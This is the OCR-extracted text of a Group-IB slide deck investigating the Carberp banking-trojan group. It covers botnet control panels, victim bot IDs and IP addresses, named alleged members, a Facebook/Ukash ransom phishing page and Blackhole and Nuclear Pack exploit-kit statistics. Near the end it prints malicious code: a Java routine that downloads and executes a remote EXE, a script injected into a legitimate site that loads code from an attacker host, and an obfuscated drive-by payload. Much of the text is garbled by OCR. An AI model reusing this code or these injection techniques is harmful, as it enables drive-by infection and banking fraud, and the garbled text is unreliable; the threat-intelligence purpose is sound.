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v' Carberp cybercrime group investigation
v evolution of botnet
v’ tracking Carberp affiliate people

v What are the next steps of investigation?

v' Evolution of Carberp distribution scheme
v' Carberp in-depth analysis

v Domain shadow games
v Infected legitimate web sites
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About Group-IB GR LJPIiE

Group-IB Acquisition International Creation of Dedicated Certified
Moscow is by Leta Expansion CERT-GIB Professiona_!s
founded Group -

-~ 7N 50+

2003 2010 2011 2011

Stages of Sustainable Solid Development

(ﬂ 1st 24 /7 CERT/CSIRT in (9 Cybercrime Investigation (\t) Computer forensic @ Skolkovo Member

— Eastern Europe Leading Russian company in high- Collecting Digital Evidence Group-IB is an active
Our CERT is the first Eastern tech crimes investigation, digital Forensic Investigations member of the Russian
European 24/7 Computer forensics and incident response Data Recovery « Silicon Valley » Skolkovo
Emergency Response Team Software Auditing Project with Cybercop,
1st non-governmental CERT Malware Investigation Brand Point Potection being

in Russia (second overall) part of the part of Cybercop
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Carberp
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w 4 min

[ naBHas
CratucTvka
Mpedpukcobl

BoTbl

3apnaHus
NHXeKThbl
®opmrpabbep
FTP cHudcpchep
pabbep naponen

Russia mm

Bbixon,

Bamm mpasa: _
AKxkaynT cospan: Sl
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| BSS [ Inist || iBank || Cyberplat || PromSwaz || Sber
Tiakea 3co paiizst m0 B0t UID: | = eaee |

palladin
palladin
palladin
palladin
palladin
palladin
palladin
palladin
palladin
palladin
palladin
palladin
palladin
palladin
palladin
palladin
palladin
palladin
palladin
palladin

D5580C33358F780E2DD27BD54B002FD2
9CCC4BCE6704E6363B69A872D795B833
FE2C73C234DB44805C1792EFD70796ED
1C26C3E40717A92EA7F207502FCA9F67
DCC6D0AB1E97F60F6585CEDAODA37191
8C76F58E94CDAE7C15B43587AF23EC52
2049E85BB924F703634B5AFEFELE1600
F1BFEO1FE81FA66CA4DDCE357E161AES
D10AF52D0A0EL D358B2FAG67CAADESA2C
OE60423AE0C53A75E5752EC44A209A8B
FB36BF7E248364849AF13374A95A7865
5BAE3749113769672D2150DD236E745C
88AC746E1762B1 C8AC32583FE4EOFCEE
E9EB6504CDF34248DDAF15275BD742A2
89FE899438104881 3DE36997BDAAF050
7179797F3FD366F2D7383E7C19BADOBB
BO6F3E4EBB6F2402976272417D034A30
954784B9B6FEAD22087C2DD29016E3F9
8A0B670C6485FDA1 EE79F9809E5A2C90
34ADE70645E107008F322B3A97029242

C premx | botuid |  datefile | IPaddress | comment |

18.01.11[05:24:26]
18.01.11[01: 18: 48]
18.01.11 [00: 58:29]
17.01.11[23:25:22]
17.01.11[23:12:37]
17.01.11[22:44:50]
17.01.11[22:20:31]
17.01.11[12:12:46]
17.01.11[08:07:07]
17.01.11[07:25:45]
17.01.11[07:17:11]
17.01.11[05:32:36]
17.01.11[05:20: 56]
17.01.11[04:07: 58]
17.01.11[03:33:49]
17.01.11[02:39:07]
17.01.11[02:07:24]
17.01.11[01:47:34]
17.01.11[01:40:24]
16.01.11[17:01:44]

83.149.38.69
188.16.96.253
83.167.24.130
194.154.85.90
178.161.129.58
62.168.252.172
217.25.210.90
93.81.249.142
178.205.61.160
195.42.159.78
95.170.132.106
178.177.72.6
86.110.20.2
94.100.86.254
85.93.36.237
83.149.3.69
178.177.72.48
217.195.78.100
213.234.29.162
87.117.185.135

pass ne tot
bomj
uralsib
uniastrum 2.4kk TAN
parolia net
70k
bspb.ru
100k (max 300)
bomj
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Carberp

wy 5 min

[ nasHan

- Cramnciuka
Mpedukcbl

borbl

- 3ajiaHna
KoHdmru
Mopmrpabbep
FTP chuddep

~ ['pabbep naponeit
Russia mm

Boixop

Bbl @BTOPH30BAHbI xax:.
Bawk npaca. NP
Axxkayhr coanan: (I
Mouck bota: o up. o Hokars Q
C"“COK 60T08: Mpedhirca: Bee v Mokasars
0004001 A0|A]1%] +] +40] +100] +1000
prefix bot uid reg date last date Live IPaddress info sb cmd kil del
Umm| paledn | becadlfoA0esS004OOTIBATIMDED | 2801.11[15:2028] | 280111 [15:202) 03, 0v.On, w2 Q@O
UM o | aSGecaldISETATGIIASTISIN | 28011 (150841 | 280111 [150841] 0g, 04, Ow. 792163119 Gs‘i]ﬂ@
U pin | ZMDOMTUETRIGUSSION | 0101 (144858 | 31N 14463 0 040 wnan  (QOEEBO
(W pledn | caddTOTTDORENETOETONbe | 28O [144L1Z | 28001 (144118 03, 0. O, 526204140 0®[ilﬂ®
VM| paladn | Gb7IcOfaT202S4B0440%640TO835 | 28.01.11(1308:40] | 28.01.41 (160314 0, 14, 5. 85.26.234.% O:Eliia X]
Um ol | GOSUNGEMeR00SAEDS AR | 2RO [11462T) | 2801 121321 03, 04250 sams QA
V| paledn | f33904a73525080500e5eB0a7603eB41 | 28.01.11[11:3357] | 28.01.11[12.29:35] 0, 04, 55, s28%147 |0 ®‘i|ﬂ@
TOMTCRACOVBa2¥ttBedSRActSTE | 280111[112047) | 280111154621 0y 44. 260 e QP A@O




CrpaHa
Mo o3pacTahuio

Copruposgars!

vse v | ibank | /| pcibank | /| BSS | /| PSB | /| SBER | /

Craryc

Nel I0000%%/1777 I | | 0 Online

ID/Mapoms 388R8387/7788 Hara&Bpemal Hara&Bpema2 Tlara&Bpema3
P 195.191.5.241 2011-01-00 232441  |2011-01-09 23:1945  2011-01-09 23:16:09
Toxen 0 00:01:11 00:01:01 00:01:43

||Anpec Adaingigideghiil e 2011-01-09 23:24:57  |2011-01-09 23:19:49  [2011-01-09 23:17:01

Kommanma Boinontums | Pesymerar nociepmreitr: Fail

Kommenapuii | Hanucats

Orn!mum. B |vse v | Ompasuts! Yaammm

ibank
pc ibank
BSS
PSB
SBER




Win32/RDPdoor C&C

06HOBHTL Borel || Hacrpoitkn Beixon

| Bce cucTemsl ibank | bss_pc | sber | bss | 0 || prom_svyaz | alfa || 3anpocutb wndpopmaumo | OuucTurb BCe || OUNCTHTDL yMEpumMX |

The Way To The Future

First Last User | Passwds Ver Cmd Comment o

Token Bot UID IP State Locale 0S Ver ROTEER Knock AL



Login as: N e e
{-berliner-sparkasse.de-}
id Name Acc number
770921909919977500(
61 test e
7707083893)0408178
65 drop test Hou
770708389 78
103 SBER 30[4230
2315090555{2315010(
110 Kopn
na 1
Wl 27528050/7709010C
(es[)y

Server Time: 01-02-12 [04:24:30]

(-alfabank.ru-}  {-active alfabank.ru-}

Subject

test

test

Min money Max money  Before it

1000

1000

200000

1294849

100

500000 99900000

2394847 2147483647

300000 1200000

2304847 2147483647

50000 500000

~L0ogs--
{-sber:}  {-sber online-}

-Logout--

{-citibank.ru-}

{~cbm.vtb24.ru.}

“Settings ~Autoloads ~New Drop =Diops

%lad Losced LC  Transfertype  Active

95

95

85

P omest

1

0

domestic 50

domestic

domestic WD)

2

1

domestic N -E

Bank

sber

sber

sber

Comment §:X

test
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CratucTHKa

:: Cab-apxuBbl

Moarpy:xaembie MoayM

:: ®opmMrpabéep

Heobxoaumo akTuempoeatb moaynb OpenSSL e PHP ana voppekTHoM pabotbl naHenm!

BapuaHTbl:

BCE

cert [20528
iBank_t2 [5448
BSS [846
iBank_té [537
gwidget [415
faktura [376]
Cyberplat [372

S1lp [26

o
v
o

H58R2 121

Cnucok EXE / ABTOKOMaHAbI

:: Maponu (MPR / nepexsar)

AAMUHUCTPHUPOBF

:: CKpMHBI+KEMOMM

luckybotss77702DCD751CFB7DA7F505DE56857DE920EA
RU 89.185.85.116
lucky0OD51ACOF7F3858D4B461B8898796B70DB

RU 88.86.88.42

zvezda06CBBD602D247439C

85.90.193.240
phishtank064AFA40BBCOD4CDF076A4A38E5B99444

RU 92.126.208.102
luckybotss777012C23E5FD9893B4B61B76A1ACACS88D02
178.177.202.69

zvezda0956509BE9C22E74D

188.230.107.137
withrdp0527C2D3EE65723A7844A21F8BACAD3E2

RU 78.85.209.102

zvezdaOA6AFDEE1C95DCF46

93.127.2.222

withrdpOBSE29EDFCC104C5DES5441F502D36047
2.61.113.82

withrdp0019B9B491EES5F5D67EB87847E7F9DD0
95.135.0.185

zvezda024DF287D801C04D1

95.134.70.166
phishtank0OCC8D83EBB117CC189EEF1F639F342171
RU 77.232.156.68
withrdp07597A7820C1826B65ACB757139A2420D
178.94.178.43
TEST22223304038A1043224821C7939A1329EED9202
RU 195.225.162.157

zvezda05A10535F01EBB3AE

94.178.51.68

zvezda0C075ECBA57400024

95.133.34.172

zvezda0A3521C7801D27BAC

90.157.99.85

2011-08-08
09:15:11
2011-06-30
08:13:09
2011-06-30
10:16:19
2011-06-28
08:36:54
2011-08-08
09:52:22
2011-06-30
09:18:39
2011-06-30
08:08:52
2011-06-30
11:45:11

2011-06-30
05:45:56

2011-06-30
08:50:53
2011-07-01
09:24:02
2011-07-11
08:25:40
2011-06-30
09:27:05
2011-07-25
01:27:20
2011-07-01
17:51:31
2011-07-01
09:23:19
2011-06-30
12:29:43

2011-08-15 iBank_t2
12:09:11 (126)
2011-07-15 iBank_t2
18:37:22 (98)
2011-07-25 iBank_t2
14:36:40 (96)
2011-07-21 iBank_t2
11:05:45 (87)
2011-08-16 iBank_t2
09:47:07 (79)
2011-07-25 iBank_t2
14:45:24 (67)
2011-07-25 iBank_t2
14:58:11 (65)
2011-07-25 iBank_t2
14:04:19 (62)
2011-07-25 a2
14:25:16 §61)
iBank_t6 (6)

2011-07-25 iBank_t2
15:14:36 (58)
2011-07-25 iBank_t2
14:13:37 (54)
2011-07-22 iBank_t2
15:35:37 (51)
2011-07-20 iBank_t2
10:15:48 (51)
2011-07-28 iBank_t2
08:35:07 (49)
2011-07-25 iBank_t2
14:17:28 (47)
2011-07-25 iBank_t2
15:09:34 (46)
2011-07-14 iBank_t2
08:42:20 (44)

no keys 06.06 PC banking

ua ukrsib NO KEY

37k omsk oborot 2kk

ua raff PC banking

no keys 06.06 PC banking po skri
norm

ua raff

OTP-token. bank hakasii

ua raff KEY UA 10k

ua raff KEY UA

key, ip filtr

ua ukrsib KEY UA

no key

ua raff TOKEN

ua raff

key, 14k

111

CROUP




(es[=}

kasperskiyxxx0A7BOE473D0713794

AocSaamen 2011-06-30 08:56:30 (232112321 waszan)
Mocnepuen cerae 2011-07-25 14:00:32 (232112321 Hazaa)
Windows XP Service Pack 3

MNpumedaHme ANa BbiIBOAA B OBLLEM CNMCKe
1kk PSB postavil 300k

JobaBuTb KOMaHAY

CAB-apxvBbl [CkavaTb]

Tun Aobasnen P Pasmep
iBank_t6 2011-07-25 15:05:0 A51.79.162 107.31 Kb
iBank_t6 2011-07-25 13:33:12 LA51.79.162 10714 Kb
iBank_t5 2011-07-25 10:36: A51.79.162 107.54 Kb
iBank_té 2011-07-22 13:30:; A51.79.162 143,98 Kb
iBank_t6 2011-07-21 e L A51.79.162 150,44 KD
iBank_t$ 2011-07-21 :29: A51.79.162 107.55 K0
iBank_t6 2011-07-18 18:05: A51.79.162  104.91 Kb
iBank_t5 2011-07-18 13:13: . 79.162 56.13%b
BSS 2011-07-1 09: . T9.162 762 KD
iBank_t6 2011-07-18 10:52; : 79.162 103.52 Kb
iBank_té6 2011-07-18 10:21: . JT9.162 108.65 Kd
B85S 2011-07- :35: : 79.162 78.16 Kb
iBank_t% 2011-07-15 :23: . T79.162 108,43 Kd
iBank_t6é 2011-07-15 12:36: . 79162 108.99 Kb
iBank_t6 2011-07-1512:35; . J9.162 178,43 Kb
iBank_t5s 2011-07-15 :58: . T9.162 109.04 Kb
2011-07-15 10:56: . 79.162 80.32 ¥b
2011-07-1510:54:15 - 79.162 81.15Kb
2011-07-15 10:48: . T9.162 78.61 Kb

P 217.151.79.162
RU - Russian Federation

‘GHDUP




v D¥*Rxkx k1089, Russia — Botnet administrator («who?» aka
beng-sim, also possible SwilnDleR, Opsos)

v Maxim Glotov, 1987, Russia — Malware developer («Robustoy,

aka «Den Adel», «Mobyart», «Onlinery)
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- Malware family share by incidents (%)*

(inthe last6 months)
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O Blackhole?

CTATUCTHUKA

QAW

BESBONACHOCTb HACTPOWKH

BoiiTi

DEFAULT

0

PERFECT777-1

"

http://95.163.66.194/main.php

http://95.163.66.194/main.php?page=2faa338b7244769d

{2 NPABWNO: DEFAULT

£2 NPABWIO: DEFAULT

http://95.163.66.194/main.php?page=b40e5c949f6a6f5a

{2 NPABWNO: DEFAULT

SKCMIOUTHE: S SxcnnouTos »

"

PEAWPEKTHI: google.com — 177 uz @ 2KCMAOUTH: 9 SKNOUTOE >
AWML i
TPAGUK: & Becw Tpadmk bz (exe) SR
TPAOUK: 2. Becs Tpadmk
==
==
VIVAT E X
PERFECT777-2 = b

http://95.163.66.194/main.php?page=17fb273ee39elecl

2 NPABWIO: DEFAULT

-http://95.163.66.194/main.php?page:eclSab92d78c1e74

{2 NnPABWNO: DEFAULT
SKCNMIOUTHI: 9 SKCINOUTOE >

AN ibluckazs (exe) 5411 zarpy=ku

TPADKK: X Becs Tpadmk

"

AWML ibluckazs (exe) 5411 zarpyzku SKCMIOUTHI: 2 3KcnnouTos >
AWML i
T B ibluckazs (exe) 5411 zarpy=ku
TPADUK: Beco Tpag@mk
=
=
15171715-3 = X
PERFECT777-3 b= 8 B

http://95.163.66.194/main.php?page=7d2551bbd84bb4ef

Hosoe npasuno

{2 NPABWNO: DEFAULT

SKCNNOWTH: Qoo oo

AR ibluckazs (exe) 5411 zarpyzkn
TPAGUK: 2. Beco Tpadmk

Hosoe npasuno

GROUP




Black hole CTATHCTHKA 7 BE30MACHOCTD HACTPOITKM

Hmnos ij Bremir i T[ MpUMEHNTE AsToobHOBNEHWE: 10 MUH. | ; e e m
CTATMCTHKA SKCNIOUTHI | 3ATPY3KN % il
FLASH > 5405 12,11
3A BECb MEPMOA 1 5 1 % @ -
A & Hep > 1122 251 @
639761 xutul 304056 xocTul 39126 zarpyzxu NPOEWE
é Y JAVA SKYLINE > 1938 434 @
Y Java OBE > 11053 24.76 G
SACETOAHS 15.2% G JavasMB > 7297 16.35 @B
516850 xutul 245932 xocThl 31716 zarpyzku NPOEME
@ Java TRUST > 10945 24.52 G
=)
— ¥ MDAC > 1023 229 @
W POFALL > 1287 2.88 @
oC XNThbl XOCThl 3ATPY3KHN t %0 - 0
¥ PDF LIBTIFF > 4568 10.23 @
#v Windows XP 361047 175212 31695 21.01 @
€) Windows 7 226867 126594 7422 7.03 @ EPAY3EPHI | i xocin aRrnvaae B
@ Windows Vista 34032 19071 1916 11.74 @ @ Chrome > Jnacay  ensag 403 3.4 @
38 Windows 2000 1776 630 173 B1@ @ Firefox > 173884 100411 18396 18.33 @
£y Windows 2003 4463 1069 109 10.71 @ @ VSEE > 151316 62878 12113 19.27 @
A Linux 53 i = z53.@  Mozila > 1647 904 47 520 @
W Mac0s e nE B Z10: @ O Opera > 19358 102831 11110 10.80 @
38 Windows NT 1547 644 10 161 @ @ saferi > 14176 8101 555 6.85 @
A Windows 98 140 71 4 563 @
8 Windows 95 91 52 2 385 @ CTPAHbDI XUTbI XOCTbl t 3ATPY3KW G - 0
mm Russian Federation 636830 302658 39023 1513 @
= Ukraine 621 490 41 8.33 @
Lk MR FOCTDY DMTTRREN = s POland 21 156 0 0.00
greenwich > 258126 143043 14857 15.60 @ @ Other country 159 114 a 1184 @
evgeniy_net-1 > 76673 65750 6572 10.00 @ g Belarus 122 106 16 15.09 @
m ET 99999 > 33645 25921 5407 20.86 @D S United States % o o oioa i
vivat > 28446 26860 4076 15.17 @ m= Iceland 101 89 0 0.00 G I l D l—-l I B
bertolai > 26296 23069 2820 2.2 @ [ Kazakhstan 58 4 5 1l @




fnaeuHas borbi 3apgauua  Jlorm ®unbipbl Kab dainbi  Kennorep Hacrpoiiku [Monb3oBarenu

Cratuctuka bortoB

boToB BCero: 711761

BOTOB BCEro HOBbIX: 47643 (6.69%)
BOTOB BCEro akKTMBHbIX: 662076 (93.02%)
boroB 3a 24 vyaca: 152134 (21.37%)
boToB 3a 7 OHe#: 276037 (38.78%)
boTtoB 2a 1 mecauy: 711761 (100.00%)
Pa3zmep 61 (vuda 6orToB): 112,58 MB u3 256 TB (0.00%)

CraTucTukKa npoueccos

NMpoueccos Bcero: 343371

Pazmep 611 (uuda 60T10B): 31,73 MB 1z 256 TB (0.00%) 1B




rnaeHasn BOTbl 3amaaHuna Jlorwm PDuUNbTPpbI Kab davinbi Kevinorep Hacrpoiiku NMonb30Barenm

A
e Sorw | [Monek ora |[kondmrn | [Fpadix ece | [Fpadic xmeue | [Fpadic oc |[readik a8 | [ readux mpas |

Mpedwvkc: | Bce v|

COpTHUPOEBKa Ha cTpaHurye: ICTaHp,apTHaﬂ vl

[ OBHOBUTE |

MaKCMMaNEHO CTPaH Ha crpaHuue: 100 TERRERTTR Bcero crpaH: 142

CTpaHa Konnuecteo BoToe >Kueeix BoToB

Nepal 1 o =

News Zealand =] 0 =

Oman 2 0 i

Peru 10 1 =

Philippines 15 o =

Pakistan 12 1 ra

Poland 283 12 ]

Palestinian Territory 5 1] |

Portugal 138 = =

Qatar 3 0 =

Romania 101 3 =

TG =T = |

Russian Federation 1443642 64750 |

77 O e

Sudan 4 o t

Sweden 107 3 =

Singapore 5 1 it

kb | =3



lmasnwaa borbl 3agauua  Jlorn @unbTpbl  Kab dalinmt  Kelnorep Hacrtpodku [Monb3osarenu

R [cramvernce [vanrs scex Goros| [ yaanirs sce npouscou] | vasne 3,o. nanea] [ ourrars seo A

CraTucTHka boTtoB

bOTOB OHNAWK: 69874 (4.53%)
BOTOB BCEro HOBbLIX: 124017 (8.03%)
BOTOB BCEro akTMBHbIX: 1413982 (91.58%)
bortoB 3a 24 yaca: 129510 (8.39%)
boToB 3a 7 AHel: 204787 (13.26%)
bortoe 3a 1 mecauy: 652746 (42.28%)
Pasmep BA (vuda 6oros): 383,93 MB 13 256 TB (0.00%)

(es[zl) GCROUPIB



neauihfndcp8uihfedc.com (146.185.242.31)

r~ [ %
]
i _igf.html 0D~ & X | O Welcome to Facebook - Lo...

facebook

H I To confirm verification you have to enter 20 euro Ukash voucher, Ukash vouchers are sold
YD“ r FECEbDDk EICEDI.II'It IS tempﬂ'rﬂ I"f IDEkEd - by ukash.com website and Ukash.com is not affiliated with Facebook company, 20 euro wil
To continue using your account please answer few questions: be added to your Facebook main account balance. This verificaion is used to confrm your
age and country of origin,
First Name: The Ukash voucher consists of 19 numbers and face value (sum), beains on "633", For
example 6337130116517630995
Last Name:
E-mail:
Year of birth:
Password:

Ukash 20 euro voucher #:

Facebook @ 2011 - English (US) Mabile * Find Friends - Badges * People - Pages - About - Advertising * Create a Page * Developers - Careers * Privacy - Terms * Help
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neauihfndcp8uihfedc.com (146.185.242.31)

I~
€

Facebook @ 2011 - English (US)

™

[ ]
igtriml 3 Weicome o Facebook - Lo-.

Flease provide correct Ukash voucher!
The Ukash voucher conzists of 19 numbers, begins on "633". Far example 6337158011651 7630995.
20 eura will be added to your Facebook account after verification.

Mabile * Find Friends - Badges * People - Pages - About - Advertising * Create a Page * Developers - Careers * Privacy - Terms * Help

GROUP




v Active sell = January 2011
v C&C Video : http:/lwww.sendspace.com/file/iquzl6 (BpgzsvrN)

[aanune scex Goros | [vaanare ece npoueccs][vaannrs 3 p. nonoes [t oce a
CraTucTtuka bortos
EOTOB BCErD: 87

GEoToOB BCEro HOBbIX ] 3(3.45%)
BOTOB BCErD aKTHBHbIX: 84 (96.55%)
boTtoe 2a 24 yaca: 84 (96.55%)
EOTOB 3a 7 AHen: 84 (96.55%)
borvos 3a 1 mecsau;: 84 (96.55%)

Pasmep BJl (uudha Gotoe): 44,81 kB w3 256 TB {D.00% ) X
(es) GROUP|IB
CTATUCTHEKA NDBOUSCCOR v




v Active sell = January 2011
v' C&C Video : http://www.sendspace.com/file/iquzl6 (BpgzsvrN)

g 01112011, 03:28

C a1oro aHA cecboaHan NpogaMsa Hawers CopTa NPespawaeTCn.
CBOW CTapble KOHTAKThl A OTKAYKA, CBA3L OO MHOR TONBKD YEPES MM 308Ch WKW Ha Ma3e, MOABNATLCA 1

OTBEYE ory
r Bcem knueHTam A pa3zCnan CB0M HOBbIW KOHTAKT ONA NOOOERHEN.
/ TEMYy MOMHO 33KPbIBATh.
i

Pazmep BJ] (wuda botos): 44,81 kB 13 256 TB {0.00% )
(esfl GROUP|IB
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v' Impact since 2010 (probivaites.in) IMRARET
« Java/Exploit.CVE-2010-0840
« Java/Exploit.CVE-2010-0842
« Java/TrojanDownloader.OpenConnection

v' Blackhole since 2011 (lifenews-sport.org)

 JS/Exploit.JavaDepKit (CVE-2010-0886)
« Java/Exploit.CVE-2011-3544

« Java/Exploit.CVE-2012-0507

« Java/Agent

v Nuclear Pack since 2012 (nod32-matrosov-pideri.org) .ol Guct vzl
« Java/Exploit.CVE-2012-0507

(esf] ‘G‘HDUF‘
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v

legitimate
site

(es[ly

> O Black hOle B y Please wait page is loading...

TRUE FALSE

exploitation stage

/get)avalnfo.jar dropper execution
/content/obe.jar /w.php?f=17&e=2
[content/rino.jar
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v
legitimate

site

Please wait page is loading...

—B<1frame src="http: 1fenews—sport.org
Smain.phplpage=7Zcdi80ecfblcaebl ">

<head= </ lhead>=

= =body= FAI.SE

#| =object width="0" height="0" type="appli
cation/x-Java-applet">

<applet code="a MNer" archiwve="content /Po
l.jar"=

¥

exploitation stage
/getlavalnfo.jar

dropper execution

/w.php?f=17&e=2

[content/obe.jar
[content/rino.jar

GRAOUP
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Blackhole drive by download scheme

functiﬂ*
if

v
legitimate

site

function

if (jver

e
it

I—hl—h*_-'I

l
4
oo
W W H W W

HhoTom <

:1'::'1:|.:|.|_1|p|.r
nt .l v.appendChild (£) ;

tEEll.-_'Iu-_' nt {"o

ttllLJrul““:;:_
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Blackhole drive by download scheme

void DownloadAndExec(String FROM_URL)
(FROM_URL.length() a)
{!checkurl{FROM URL}))

¥
int idx = 4896;

String exe H
Class ppp = java/lang/Classloader;

{
byte buffer[] byte[idx];
exe = ( StringBuilder(String.valueOf (System.getenv({"TEMP")})) . .append("vdsh83\\" .substring(6)).append("gyu").append{cnt) .append(".exe") . toString();
cnt++;
InputStream is = ( URL(FROM_URL)).openStream();
String aaa = "newInstance”;
BytedrrayOutputstream outStream ByteArrayOutputStream(4896);
String dl1 = String.format("hv89dfh7vBhsregsvr32 -s \"%s\"".substring(12), Object[] {
exe

D
({(idx = is.read(buffer, @, 4896)) 1)

outStream.write(buffer, @, idx);
is.close();
byte binByteArr[] = outStream.toByteArray();

(binByteArr[@] 77 binByteArr[1] 98)

{

FileOutputStream fos FileOQutputStream(exe);

fos.write(binByteArr);

fos.flush();

fos.close();

_runiexe);

_run(dll);




e most popular = most detected

J
) ° \

e frequently leaked exploit kit
e most popular exploit kit for research )
§

e auto detections by AV-crawlers

* non-detection period is less than two hours)
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) GET http://dx6ts.y ) . )5 .45 §2.122.79.32
2012 GET http://yfwumdwyei.is-a- er.com/main.php? ag ' i0a83d5T 62.122.79.32 [Blackhole]

2812 GET http:/ 1
2 GET http:/ ' W0aB3d5T 62.122.79.41 [Blackhole]

2 GET http://pgiyoc.gktsnwukvi.webhop.net/g/697879368134578. s ’1.'11.7q 41
2812 GET http://@94t8g.gktsnwukvi.webhop.net/server privileges.php?e843aac 781536=2 62.122.79.41 [Nuclear Pack]

« 62.122.72.0 - 62.122.79.255

"Leksim” Ltd,
Eurcpean Union

— Florczak Marek

e ul. Zapolskiej 48
12-130
Krakow
Poland

phone: +48 12 2794162

Florczak Marek

ul. Zapolskie) 48
12-130

Krakow

Poland

phone: +48 12 2794162

£

|
m
i
I

:. abuse@relnet.eu
BELSE)
@ET @ RELMET-MET GROUP iB

Updated: 06-Feb-2012
Source: whois.ripe.net




Nuclear pack drive by download scheme

l

legitimate

si[e {

=

check real

user

TRUE

exploitation stage

//images/274e0118278c38ab7f4ef5f98b71d9dc.jar

FALSE

dropper execution

[server_privileges.php?<gate_id>=<exp_id>
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BMH(bvmp. EBpo-3iwa
Onn CepBUCU3

T

O KOMNaHW | ObopyaoBaHue | HemseecTHbIM KnTam | HOBOCTH KOHTaKTbI

K

) cxoaHbin koa: ht winfield-oil.ru/ - Mozilla Firefox

®arin  [Mpaeka Bua Cnpaeka

<!DOCTYPE hitml PUBLIC '-//W3C//DTD XHTMIL 1.0 Transitional//EN' 'http:// innr.w3.0xq/TR/xhEtnl 1/DTD/xhtmll-transitional.dtd'’ >

I <!-— {c) HMarepmer Cuxcrens: | http:/ /www.inetsvs.ru/ -->
- <html xmlns='http://vuv.w3.org/ 1999/ xhtml' >
<head>

<meta http-equiv='Content-Type' content='text/html; charset=windows-1251' />
<meta http-equiv="keywords" name="keywords" content="Buadmunn Eepo-3rmua Oin CepeBucus" />
<meta http-equiv="description” name="description" content="Buudunng Eepo-3rua Oin CepeBucus" />

<1link rel='stylesheet' href='/css/style.css' type='text/css' media='screen, projection' />
// <title>Buuiunn Eppo-Frapa Onn CepeBucus</title>
</head>
<body>
<div id="page">
<div ig="header" class="wrapper">

O

(eskli IGROUP|




N WINFIELL

O KoM

¥2) Vicko gubii koa: http:/ /winfield-oil.rt

®arin  [Mpaeka Bua Cnpaeka

<!DOCTYPE hitml PUBLIC '-/

' <!-— {c) Muareprer CxcTensr |
<html »xmlns='http://uww.w3.
<head>
<meta http-equiv='Content-
<meta http-equiv="keywords'
<meta http-equiv="descripti

script type='text/javascri

<1link rel='stylesheet' href]
<title>Buudunon Eepo-3rmua O
</head>
<body>

<div id="page">

function ()

{

¥

var url

¥

document . onmousemove

{

}s

"http://onj42a.qpoctushpm.is-an-actor.com/g/";
( window.xyzflag "undefined™)

= -

window.xyzTlag

function ()
(window.xyzflag @)

window.xyzflag = 1;

var head = document.getElementsByTagName("head")[2];
var script = document.createElement("script”);
script.type = "text/javascript™;
script.onreadystatechange = function ()

{

{
window.xyzflag = 2;
¥
b5
script.onload
1
window.xyzflag = 2;
b5
script.src = url + Math.random().toString().substring(3)
head.appendChild(script);

(this.readyState “complete™)

function ()

¥

<div id="header"” class="wrapper":>

CCler

ional.dEd’ >

GRQOUP|B




d=Date;

d=new d();

h=-parseInt('@12")/5;
(window.document)

Boolean().prototype.a

{q9q)

st=5tring;

zz="al";

ZZ="V"+ZZ;

s5=""3
(1)

1
="t'+'r"+'0"+'m"+"'Ch’
f=F+'C'+ o0d"+'e";

e=this[f.substr{11)+zz];

=Ty
¥
n="19~58~57 , GrGdrd8 55751 554, 5rbdn]1 019, o] 5B, Sredned | 55 8nd T, 5rEB~15~57 , 5r5F~53~]15n 20, 5] 5] oG 15 7n 5 7B Ene 2 Bred D Grd 2 52 3T | Gred GG Tr] 7
5@, 52255, 50052, 55 56 55458, 55T, 5052 L 55 Bn5] L 522058 L 5red S, Sred Bre5 154 55 52 2B 4ned D 55T 22, 5051 L 55 dned Bead 8, 55802 25 505 155038 . 5255
red L 525, 50223, 5red 0 Sl D 52T S Qe 2002 B, Dredd 5ee23 B2, D25 52T L S DB 28026, S T0ed D | e Dol Qe 5B Fee 2 02 Gre 2 e 25 el Bred 3, 52T L 5024, Bel 28 . 5
reflrad  GeefBred T | Bre5 B ] S5 | S0l | See] G20 See] Sredl QB Seed§ L 5B, 50535 Bl BB n 5T 2 2B o560, Breld T 557 A0 5re3 3, BeE 30edD 553, Bl BB 45T
re] Qe Gred Qre5 ], S5 8] Bl D, 528, Sredned | Sl bl | Srd Qeed Q| 522565, 557050, 55 30A0 | 5rd 2rebBne 35, 5re5And0nd g Saeb O] 528, Gre] 52 523 B2 Fne2 302 3002 3028 L 5
reffra} , G5, 5rad Qe G2 2056, S5 7059, 55 304D 52258051 L 5056, 551, S Bae5] L S5 305D, SR 0T, el 502D, Beel 5018 L DD 151 L S B Qe D, BBl 1B L 528, 5
reflrad , G dn G4 | 5radQeadQ , G2 2e56 , 557050, 55 3040 5re2 255004 556, 5], 5 BT 5] 5B, See B ne] Bra2D Sl S ] B, 5l T Seed BB, 5B B30T, 5540 BB L S
red 8, Gredbred | 55 4n 54 | SredlQrd D 5re2 2056, 55750 583040 G2 2008, 58], Sl B 5 5] ] 52D o] Bl B 50025, B2 305505800 8 L 528, Sredbne3 | o540 | Sred Ored | B2 2
56, 50759, 553049, 5225 14, 551, 5 BB L 55 L5 T 15029, Bl 50l L 525, Bre@ 355059018, 528 L Srede S, Sreh e D, 5Bl 522005 ], BreSdne 5 e, BB 354 ]
re3 7 Gre3 Tl 528, Bee] 5]l Gre2 D51, S SBn 5004 T 553 5red 9, Sl S BB L 551 L 5ol Qe 5T 5129, 518 L 525 L B2 301 8 L 5]l 5o 51D, 551, 558 S5l 5T 29 5l B 525 L5
red 3] 8 5150 5B 56047, 553, 5eedD, Sl B 5 | 556040040, SrebBr 2D, Sl 8, 52 30l B L 5015056, 5ol B 556054, 553005305, 554008, 5020 518 L S b 454 ] 8L 5] S
56 . 5hEeAdE , 529, 5] 8 L Sl Bre]l 528 L 5] 55T L S5 B 53] 5028, 5] Sl Bl B L 5382 822, 55, 5585 6md ), Bre5 5 L 5l B 3B B 28 L Sredne 3 | Sred G54, Bred B L 55T L5
53, 5eed D, S5 S Pred 2ol Boe Dl | 5eedQe5 0, Sre@ 20l 7 | Sre5 555040, Do hdeed e 32 | S5 15 ], S5 e Qo] QoG5 | 5ol B9, B2 B L 5
rdref] . 519, 51919 . 5~28 . 5" . split("a~".substr(1})};

(i=3-2-13i!-456;i++)

1

J=1;
ss=ss+st[f](-h*(2-1+1*n[§])});

}
(1)g=ss;

‘1._.EE{JEE"" q)s
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<head>

<meta http-equiv='Content-Type' content='text/html; charset=vindows-1251' />

<meta http-equiv="keywords" name="keywords" content="Buuimunn Eepo-3rpa Omn CepeBucH3" />

<meta http-equiv="description” name="description" content="Buudimunn Eppo-Frmua Omnn CepeBucH3I" />

Tom

<1link rel='stylesheet' href='/css/style.css' type='text/css' media='screen, projection' />
// <title>Buudunn Eppo-Traua Oin CepeEucus</title>
</head>
<body>
<div id="page">

<div id="header"” class="wrapper":>

